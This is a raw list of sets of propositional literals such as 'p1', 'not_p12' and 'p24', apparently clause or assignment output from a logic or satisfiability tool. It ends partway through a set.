{p18, p1, p12, not_p12, not_p5, p24, not_p3, not_p24, p4, not_p19} {p18, p1, p12, not_p12, not_p5, p24, not_p25, not_p24, p4, not_p19} {p18, p1, p12, not_p12, not_p5, p24, p14, not_p2, p4, not_p19} {p18, p1, p12, not_p12, not_p5, p24, not_p3, not_p2, p4, not_p19} {p18, p1, p12, not_p12, not_p5, p24, not_p25, not_p2, p4, not_p19} {not_p21, p18, p1, p12, not_p5, p24, p14, not_p24, p4, not_p19} {not_p21, p18, p1, p12, not_p5, p24, not_p3, not_p24, p4, not_p19} {not_p21, p18, p1, p12, not_p5, p24, not_p25, not_p24, p4, not_p19} {not_p21, p18, p1, p12, not_p5, p24, p14, not_p2, p4, not_p19} {not_p21, p18, p1, p12, not_p5, p24, not_p3, not_p2, p4, not_p19} {not_p21, p18, p1, p12, not_p5, p24, not_p25, not_p2, p4, not_p19} {p20, p1, p12, not_p12, not_p5, p6, p24, p9, p4} {not_p21, p20, p1, p12, not_p5, p6, p24, p9, p4} {p20, p1, p12, not_p12, not_p5, p6, p24, p14, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p6, p24, not_p3, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p6, p24, not_p25, not_p24, p4} {p20, p1, p12, not_p12, not_p5, p6, p24, p14, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p6, p24, not_p3, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p6, p24, not_p25, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p6, p24, p14, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p6, p24, p14, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p6, p24, not_p3, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p6, p24, not_p25, not_p24, p4} {not_p21, p20, p1, p12, not_p5, p6, p24, not_p3, not_p2, p4} {not_p21, p20, p1, p12, not_p5, p6, p24, not_p25, not_p2, p4} {p20, p1, p12, not_p12, not_p5, p24, p9, p4, not_p19} {not_p21, p20, p1, p12, not_p5, p24, p9, p4, not_p19} {p20, p1, p12, not_p12, not_p5, p24, p14, not_p24, p4, not_p19} {p20, p1, p12, not_p12, not_p5, p24, not_p3, not_p24, p4, not_p19} {p20, p1, p12, not_p12, not_p5, p24, not_p25, not_p24, p4, not_p19} {p20, p1, p12, not_p12, not_p5, p24, p14, not_p2, p4, not_p19} {p20, p1, p12, not_p12, not_p5, p24, not_p3, not_p2, p4, not_p19} {p20, p1, p12, not_p12, not_p5, p24, not_p25, not_p2, p4, not_p19} {not_p21, p20, p1, p12, not_p5, p24, p14, not_p24, p4, not_p19} {not_p21, p20, p1, p12, not_p5, p24, not_p3, not_p24, p4, not_p19} {not_p21, p20, p1, p12, not_p5, p24, not_p25, not_p24, p4, not_p19} {not_p21, p20, p1, p12, not_p5, p24, p14, not_p2, p4, not_p19} {not_p21, p20, p1, p12, not_p5, p24, not_p3, not_p2, p4, not_p19} {not_p21, p20, p1, p12, not_p5, p24, not_p25, not_p2, p4, not_p19} {not_p21, p1, p12, p3, not_p5, p6, p24, p9, p4} {not_p21, p1, p12, p3, not_p5, p6, p24, p14, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p6, p24, p14, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p6, p24, not_p3, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p6, p24, not_p25, not_p24, p4} {not_p21, p1, p12, p3, not_p5, p6, p24, not_p3, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p6, p24, not_p25, not_p2, p4} {not_p21, p1, p12, p3, not_p5, p24, p9, p4, not_p19} {not_p21, p1, p12, p3, not_p5, p24, p14, not_p24, p4, not_p19} {not_p21, p1, p12, p3, not_p5, p24, p14, not_p2, p4, not_p19} {not_p21, p1, p12, p3, not_p5, p24, not_p3, not_p24, p4, not_p19} {not_p21, p1, p12, p3, not_p5, p24, not_p25, not_p24, p4, not_p19} {not_p21, p1, p12, p3, not_p5, p24, not_p3, not_p2, p4, not_p19} {not_p21, p1, p12, p3, not_p5, p24, not_p25, not_p2, p4, not_p19} {p22, not_p16, p5, p17, p24, p14, p4} {p22, p12, p5, p17, p24, p14, p4} {p22, p2, p5, not_p15, p17, p24, p14, not_p4, p4} {p22, p2, p5, not_p15, p17, p24, p14, not_p1, p4} {p1, p22, p5, p17, p24, p14, p4} {p22, not_p16, p5, p17, p24, not_p3, p4} {p22, p12, p5, p17, p24, not_p3, p4} {p22, p2, p5, not_p15, p17, p24, not_p3, not_p4, p4} {p22, p2, p5, not_p15, p17, p24, not_p3, not_p1, p4} {p1, p22, p5, p17, p24, not_p3, p4} {p22, not_p16, p5, p17, p24, not_p25, p4} {p22, p12, p5, p17, p24, not_p25, p4} {p22, p2, p5, not_p15, p17, p24, not_p25, not_p4, p4} {p22, p2, p5, not_p15, p17, p24, not_p25, not_p1, p4} {p1, p22, p5, p17, p24, not_p25, p4} {p22, not_p16, p5, p17, p24, p9, p4} {p22, p12, p5, p17, p24, p9, p4} {p1, p22, p5, not_p15, p17, p24, p9, p4} {p18, p1, p22, p5, p17, p24, p9, p4} {p22, p2, p5, not_p15, p17, p24, p9, not_p4, p4} {p22, p2, p5, not_p15, p17, p24, p9, not_p1, p4} {not_p16, not_p12, p5, p17, p24, not_p3, p25, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p3, p25, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p3, p25, not_p1, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, not_p3, p25, p4, not_p19} {p20, p1, not_p12, p5, p17, p24, not_p3, p25, p4, not_p19} {not_p21, not_p16, p5, p17, p24, not_p3, p25, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p3, p25, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p3, p25, not_p1, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, not_p3, p25, p4, not_p19} {not_p21, p20, p1, p5, p17, p24, not_p3, p25, p4, not_p19} {not_p16, not_p12, p5, p17, p24, not_p3, p21, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p3, p21, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p3, p21, not_p1, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, not_p3, p21, p4, not_p19} {p20, p1, not_p12, p5, p17, p24, not_p3, p21, p4, not_p19} {not_p21, not_p16, p5, p17, p24, not_p3, p21, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p3, p21, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p3, p21, not_p1, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, not_p3, p21, p4, not_p19} {not_p21, p20, p1, p5, p17, p24, not_p3, p21, p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p24, not_p3, p25, p4} {not_p16, not_p12, not_p5, p5, p17, p24, not_p3, p21, p4} {p12, not_p12, not_p5, p5, p17, p24, not_p3, p21, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p3, p25, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p3, p21, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p3, p25, not_p1, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p3, p21, not_p1, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, not_p3, p25, p4} {p20, p1, not_p12, not_p5, p5, p17, p24, not_p3, p25, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, not_p3, p21, p4} {p20, p1, not_p12, not_p5, p5, p17, p24, not_p3, p21, p4} {not_p21, not_p16, not_p5, p5, p17, p24, not_p3, p25, p4} {not_p21, not_p16, not_p5, p5, p17, p24, not_p3, p21, p4} {not_p21, p12, not_p5, p5, p17, p24, not_p3, p21, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p3, p25, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p3, p21, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p3, p25, not_p1, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p3, p21, not_p1, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, not_p3, p25, p4} {not_p21, p20, p1, not_p5, p5, p17, p24, not_p3, p25, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, not_p3, p21, p4} {not_p21, p20, p1, not_p5, p5, p17, p24, not_p3, p21, p4} {p12, not_p12, not_p5, p5, p17, p24, p14, p21, p4} {not_p21, p12, not_p5, p5, p17, p24, p14, p21, p4} {not_p16, not_p12, p5, p17, p24, p14, p25, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p14, p25, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p14, p25, not_p1, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, p14, p25, p4, not_p19} {p20, p1, not_p12, p5, p17, p24, p14, p25, p4, not_p19} {not_p21, not_p16, p5, p17, p24, p14, p25, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p14, p25, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p14, p25, not_p1, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, p14, p25, p4, not_p19} {not_p21, p20, p1, p5, p17, p24, p14, p25, p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p24, p14, p25, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p14, p25, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p14, p25, not_p1, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, p14, p25, p4} {p20, p1, not_p12, not_p5, p5, p17, p24, p14, p25, p4} {not_p21, not_p16, not_p5, p5, p17, p24, p14, p25, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p14, p25, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p14, p25, not_p1, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, p14, p25, p4} {not_p21, p20, p1, not_p5, p5, p17, p24, p14, p25, p4} {not_p16, not_p12, p5, p17, p24, p14, p21, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p14, p21, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p14, p21, not_p1, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, p14, p21, p4, not_p19} {p20, p1, not_p12, p5, p17, p24, p14, p21, p4, not_p19} {not_p21, not_p16, p5, p17, p24, p14, p21, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p14, p21, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p14, p21, not_p1, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, p14, p21, p4, not_p19} {not_p21, p20, p1, p5, p17, p24, p14, p21, p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p24, p14, p21, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p14, p21, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p14, p21, not_p1, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, p14, p21, p4} {p20, p1, not_p12, not_p5, p5, p17, p24, p14, p21, p4} {not_p21, not_p16, not_p5, p5, p17, p24, p14, p21, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p14, p21, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p14, p21, not_p1, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, p14, p21, p4} {not_p21, p20, p1, not_p5, p5, p17, p24, p14, p21, p4} {not_p16, not_p12, p5, p17, p24, not_p25, p25, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p25, p25, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p25, p25, not_p1, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, not_p25, p25, p4, not_p19} {p20, p1, not_p12, p5, p17, p24, not_p25, p25, p4, not_p19} {not_p21, not_p16, p5, p17, p24, not_p25, p25, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p25, p25, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p25, p25, not_p1, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, not_p25, p25, p4, not_p19} {not_p21, p20, p1, p5, p17, p24, not_p25, p25, p4, not_p19} {not_p16, not_p12, p5, p17, p24, not_p25, p21, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p25, p21, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, not_p25, p21, not_p1, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, not_p25, p21, p4, not_p19} {p20, p1, not_p12, p5, p17, p24, not_p25, p21, p4, not_p19} {not_p21, not_p16, p5, p17, p24, not_p25, p21, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p25, p21, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, not_p25, p21, not_p1, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, not_p25, p21, p4, not_p19} {not_p21, p20, p1, p5, p17, p24, not_p25, p21, p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p24, not_p25, p25, p4} {not_p16, not_p12, not_p5, p5, p17, p24, not_p25, p21, p4} {p12, not_p12, not_p5, p5, p17, p24, not_p25, p21, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p25, p25, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p25, p21, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p25, p25, not_p1, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, not_p25, p21, not_p1, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, not_p25, p25, p4} {p20, p1, not_p12, not_p5, p5, p17, p24, not_p25, p25, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, not_p25, p21, p4} {p20, p1, not_p12, not_p5, p5, p17, p24, not_p25, p21, p4} {not_p21, not_p16, not_p5, p5, p17, p24, not_p25, p25, p4} {not_p21, not_p16, not_p5, p5, p17, p24, not_p25, p21, p4} {not_p21, p12, not_p5, p5, p17, p24, not_p25, p21, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p25, p25, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p25, p21, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p25, p25, not_p1, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, not_p25, p21, not_p1, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, not_p25, p25, p4} {not_p21, p20, p1, not_p5, p5, p17, p24, not_p25, p25, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, not_p25, p21, p4} {not_p21, p20, p1, not_p5, p5, p17, p24, not_p25, p21, p4} {not_p16, not_p12, p5, p17, p24, p9, p25, p4, not_p19} {not_p21, not_p16, p5, p17, p24, p9, p25, p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p24, p9, p25, p4} {not_p21, not_p16, not_p5, p5, p17, p24, p9, p25, p4} {not_p16, not_p12, p5, p17, p24, p9, p21, p4, not_p19} {not_p21, not_p16, p5, p17, p24, p9, p21, p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p24, p9, p21, p4} {not_p21, not_p16, not_p5, p5, p17, p24, p9, p21, p4} {p20, p1, not_p12, p5, not_p15, p17, p24, p9, p25, p4, not_p19} {p20, p1, not_p12, p5, not_p15, p17, p24, p9, p21, p4, not_p19} {p20, p1, not_p12, p5, not_p15, p17, p11, p24, p9, p4, not_p19} {not_p21, p20, p1, p5, not_p15, p17, p24, p9, p25, p4, not_p19} {not_p21, p20, p1, p5, not_p15, p17, p24, p9, p21, p4, not_p19} {not_p21, p20, p1, p5, not_p15, p17, p11, p24, p9, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, p9, p25, p4, not_p19} {not_p21, p18, p1, p5, p17, p24, p9, p21, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, p9, p25, p4, not_p19} {p18, p1, not_p12, p5, p17, p24, p9, p21, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p9, p25, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p9, p21, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p9, p25, not_p1, p4, not_p19} {p2, not_p12, p5, not_p15, p17, p24, p9, p21, not_p1, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p9, p25, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p9, p25, not_p1, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p9, p21, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p17, p24, p9, p21, not_p1, p4, not_p19} {p12, not_p12, not_p5, p5, p17, p24, p9, p21, p4} {p20, p1, not_p12, not_p5, p5, not_p15, p17, p24, p9, p25, p4} {p20, p1, not_p12, not_p5, p5, not_p15, p17, p24, p9, p21, p4} {p20, p1, not_p12, not_p5, p5, not_p15, p17, p11, p24, p9, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, p9, p25, p4} {p18, p1, not_p12, not_p5, p5, p17, p24, p9, p21, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p9, p25, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p9, p25, not_p1, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p9, p21, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p17, p24, p9, p21, not_p1, p4} {not_p21, p12, not_p5, p5, p17, p24, p9, p21, p4} {not_p21, p20, p1, not_p5, p5, not_p15, p17, p24, p9, p25, p4} {not_p21, p20, p1, not_p5, p5, not_p15, p17, p24, p9, p21, p4} {not_p21, p20, p1, not_p5, p5, not_p15, p17, p11, p24, p9, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, p9, p25, p4} {not_p21, p18, p1, not_p5, p5, p17, p24, p9, p21, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p9, p25, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p9, p25, not_p1, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p9, p21, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p17, p24, p9, p21, not_p1, p4} {p22, not_p16, p5, p24, not_p8, p14, p25, p4} {p22, p2, p5, not_p15, p24, not_p8, p14, p25, not_p4, p4} {p22, p2, p5, not_p15, p24, not_p8, p14, p25, not_p1, p4} {p1, p22, p5, p24, not_p8, p14, p25, p4} {not_p16, not_p12, not_p5, p5, p24, not_p8, p14, p25, p4} {p2, not_p12, not_p5, p5, not_p15, p24, not_p8, p14, p25, not_p4, p4} {p2, not_p12, not_p5, p5, not_p15, p24, not_p8, p14, p25, not_p1, p4} {p18, p1, not_p12, not_p5, p5, p24, not_p8, p14, p25, p4} {p20, p1, not_p12, not_p5, p5, p24, not_p8, p14, p25, p4} {not_p21, not_p16, not_p5, p5, p24, not_p8, p14, p25, p4} {not_p21, p2, not_p5, p5, not_p15, p24, not_p8, p14, p25, not_p4, p4} {not_p21, p2, not_p5, p5, not_p15, p24, not_p8, p14, p25, not_p1, p4} {not_p21, p18, p1, not_p5, p5, p24, not_p8, p14, p25, p4} {not_p21, p20, p1, not_p5, p5, p24, not_p8, p14, p25, p4} {not_p16, not_p12, p5, p24, not_p8, p14, p25, p4, not_p19} {p2, not_p12, p5, not_p15, p24, not_p8, p14, p25, not_p4, p4, not_p19} {p2, not_p12, p5, not_p15, p24, not_p8, p14, p25, not_p1, p4, not_p19} {p18, p1, not_p12, p5, p24, not_p8, p14, p25, p4, not_p19} {p20, p1, not_p12, p5, p24, not_p8, p14, p25, p4, not_p19} {not_p21, not_p16, p5, p24, not_p8, p14, p25, p4, not_p19} {not_p21, p2, p5, not_p15, p24, not_p8, p14, p25, not_p4, p4, not_p19} {not_p21, p2, p5, not_p15, p24, not_p8, p14, p25, not_p1, p4, not_p19} {not_p21, p18, p1, p5, p24, not_p8, p14, p25, p4, not_p19} {not_p21, p20, p1, p5, p24, not_p8, p14, p25, p4, not_p19} {p1, p22, not_p5, p8, p24, not_p3, not_p4, not_p19} {p1, p22, not_p5, p8, p24, p14, p21, not_p4, not_p19} {p1, p22, not_p5, not_p20, p8, p24, p14, not_p4, not_p19} {p1, p22, p12, not_p5, p8, p24, p14, not_p24, not_p4, not_p19} {p1, p22, p12, not_p5, p8, p24, p14, not_p2, not_p4, not_p19} {p1, p22, not_p5, p8, p24, not_p25, not_p4, not_p19} {p18, p1, p22, not_p5, p8, p24, p9, not_p4, not_p19} {p1, p22, not_p5, not_p15, p8, p24, p9, p7, not_p4, not_p19} {p1, p22, p12, not_p5, p8, p24, p9, p7, not_p4, not_p19} {p1, p22, not_p5, p8, p24, not_p8, not_p3, not_p4} {p1, p22, not_p5, not_p15, p6, p8, p24, not_p3, not_p4} {p1, p22, p12, not_p5, p6, p8, p24, not_p3, not_p24, not_p4} {p1, p22, p12, not_p5, p6, p8, p24, not_p3, not_p2, not_p4} {p1, p22, not_p5, p17, not_p20, p8, p24, not_p3, not_p4} {p1, p22, not_p5, p17, p8, p24, not_p3, p21, p25, not_p4} {p1, p22, p12, not_p5, p17, p8, p24, not_p3, p25, not_p24, not_p4} {p1, p22, p12, not_p5, p17, p8, p24, not_p3, p25, not_p2, not_p4} {p1, p22, not_p5, p8, p24, not_p8, p14, p21, not_p4} {p1, p22, not_p5, not_p15, p6, p8, p24, p14, p21, not_p4} {p1, p22, not_p5, p17, p8, p24, p14, p21, p25, not_p4} {p1, p22, not_p5, not_p20, p8, p24, not_p8, p14, not_p4} {p1, p22, p12, not_p5, p8, p24, not_p8, p14, not_p24, not_p4} {p1, p22, p12, not_p5, p8, p24, not_p8, p14, not_p2, not_p4} {p1, p22, not_p5, p17, not_p20, p8, p24, p14, not_p4} {p1, p22, not_p5, not_p15, p6, not_p20, p8, p24, p14, not_p4} {p1, p22, p12, not_p5, p6, p8, p24, p14, not_p24, not_p4} {p1, p22, p12, not_p5, p6, p8, p24, p14, not_p2, not_p4} {p1, p22, p12, not_p5, p17, p8, p24, p14, p25, not_p24, not_p4} {p1, p22, p12, not_p5, p17, p8, p24, p14, p25, not_p2, not_p4} {p1, p22, not_p5, p8, p24, not_p8, not_p25, not_p4} {p1, p22, not_p5, not_p15, p6, p8, p24, not_p25, not_p4} {p1, p22, p12, not_p5, p6, p8, p24, not_p25, not_p24, not_p4} {p1, p22, p12, not_p5, p6, p8, p24, not_p25, not_p2, not_p4} {p1, p22, not_p5, p17, not_p20, p8, p24, not_p25, not_p4} {p1, p22, not_p5, p17, p8, p24, not_p25, p21, p25, not_p4} {p1, p22, p12, not_p5, p17, p8, p24, not_p25, p25, not_p24, not_p4} {p1, p22, p12, not_p5, p17, p8, p24, not_p25, p25, not_p2, not_p4} {p18, p1, p22, not_p5, p8, p24, not_p8, p9, not_p4} {p1, p22, not_p5, not_p15, p8, p24, not_p8, p9, p7, not_p4} {p1, p22, p12, not_p5, p8, p24, not_p8, p9, p7, not_p4} {p1, p22, not_p5, not_p15, p6, p8, p24, p9, not_p4} {p1, p22, p12, not_p5, p6, p8, p24, p9, not_p4} {p18, p1, p22, not_p5, p17, not_p20, p8, p24, p9, not_p4} {p18, p1, p22, not_p5, p17, p8, p24, p9, p21, p25, not_p4} {p18, p1, p22, p12, not_p5, p17, p8, p24, p9, p25, not_p4} {p1, p22, not_p5, not_p15, p17, p8, p24, p9, p7, p21, not_p4} {p1, p22, not_p5, not_p15, p17, not_p20, p8, p24, p9, p7, not_p4} {p1, p22, p12, not_p5, p17, p8, p24, p9, p7, not_p4} {p18, p1, not_p12, not_p5, p8, p24, p9, not_p4, not_p19} {p18, p1, not_p12, not_p5, p8, p24, not_p3, not_p4, not_p19} {p18, p1, not_p12, not_p5, p8, p24, not_p25, not_p4, not_p19} {p18, p1, not_p12, not_p5, p8, p24, p14, p21, not_p4, not_p19} {p18, p1, not_p12, not_p5, not_p20, p8, p24, p14, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p8, p24, p14, not_p24, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p8, p24, p14, not_p2, not_p4, not_p19} {not_p21, p18, p1, not_p5, p8, p24, p9, not_p4, not_p19} {not_p21, p18, p1, not_p5, p8, p24, not_p3, not_p4, not_p19} {not_p21, p18, p1, not_p5, p8, p24, not_p25, not_p4, not_p19} {not_p21, p18, p1, not_p5, p8, p24, p14, p21, not_p4, not_p19} {not_p21, p18, p1, not_p5, not_p20, p8, p24, p14, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p8, p24, p14, not_p24, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p8, p24, p14, not_p2, not_p4, not_p19} {p20, p1, not_p12, not_p5, not_p15, p8, p24, p9, p7, not_p4, not_p19} {not_p21, p20, p1, not_p5, not_p15, p8, p24, p9, p7, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p8, p24, p9, p7, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p8, p24, p9, p7, not_p4, not_p19} {p20, p1, not_p12, not_p5, p8, p24, not_p3, not_p4, not_p19} {p20, p1, not_p12, not_p5, p8, p24, not_p25, not_p4, not_p19} {p20, p1, not_p12, not_p5, p8, p24, p14, p21, not_p4, not_p19} {p20, p1, not_p12, not_p5, not_p20, p8, p24, p14, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p8, p24, p14, not_p24, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p8, p24, p14, not_p2, not_p4, not_p19} {not_p21, p20, p1, not_p5, p8, p24, not_p3, not_p4, not_p19} {not_p21, p20, p1, not_p5, p8, p24, not_p25, not_p4, not_p19} {not_p21, p20, p1, not_p5, p8, p24, p14, p21, not_p4, not_p19} {not_p21, p20, p1, not_p5, not_p20, p8, p24, p14, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p8, p24, p14, not_p24, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p8, p24, p14, not_p2, not_p4, not_p19} {not_p21, p1, p3, not_p5, not_p15, p8, p24, p9, p7, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p8, p24, p9, p7, not_p4, not_p19} {not_p21, p1, p3, not_p5, p8, p24, not_p3, not_p4, not_p19} {not_p21, p1, p3, not_p5, p8, p24, not_p25, not_p4, not_p19} {not_p21, p1, p3, not_p5, p8, p24, p14, p21, not_p4, not_p19} {not_p21, p1, p3, not_p5, not_p20, p8, p24, p14, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p8, p24, p14, not_p24, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p8, p24, p14, not_p2, not_p4, not_p19} {p18, p1, not_p12, not_p5, p8, p24, not_p8, not_p3, not_p4} {p18, p1, not_p12, not_p5, not_p15, p6, p8, p24, not_p3, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p8, p24, not_p3, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p8, p24, not_p3, not_p2, not_p4} {p18, p1, not_p12, not_p5, p17, not_p20, p8, p24, not_p3, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p8, p24, not_p3, p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p8, p24, not_p3, p25, not_p2, not_p4} {p18, p1, not_p12, not_p5, p17, p8, p24, not_p3, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p8, p24, not_p8, not_p3, not_p4} {not_p21, p18, p1, not_p5, not_p15, p6, p8, p24, not_p3, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p8, p24, not_p3, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p8, p24, not_p3, not_p2, not_p4} {not_p21, p18, p1, not_p5, p17, not_p20, p8, p24, not_p3, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p8, p24, not_p3, p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p8, p24, not_p3, p25, not_p2, not_p4} {not_p21, p18, p1, not_p5, p17, p8, p24, not_p3, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p8, p24, not_p8, not_p3, not_p4} {p20, p1, not_p12, not_p5, not_p15, p6, p8, p24, not_p3, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p8, p24, not_p3, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p8, p24, not_p3, not_p2, not_p4} {p20, p1, not_p12, not_p5, p17, not_p20, p8, p24, not_p3, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, not_p3, p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, not_p3, p25, not_p2, not_p4} {p20, p1, not_p12, not_p5, p17, p8, p24, not_p3, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p8, p24, not_p8, not_p3, not_p4} {not_p21, p20, p1, not_p5, not_p15, p6, p8, p24, not_p3, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p8, p24, not_p3, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p8, p24, not_p3, not_p2, not_p4} {not_p21, p20, p1, not_p5, p17, not_p20, p8, p24, not_p3, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, not_p3, p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, not_p3, p25, not_p2, not_p4} {not_p21, p20, p1, not_p5, p17, p8, p24, not_p3, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p8, p24, not_p8, not_p3, not_p4} {not_p21, p1, p3, not_p5, not_p15, p6, p8, p24, not_p3, not_p4} {not_p21, p1, 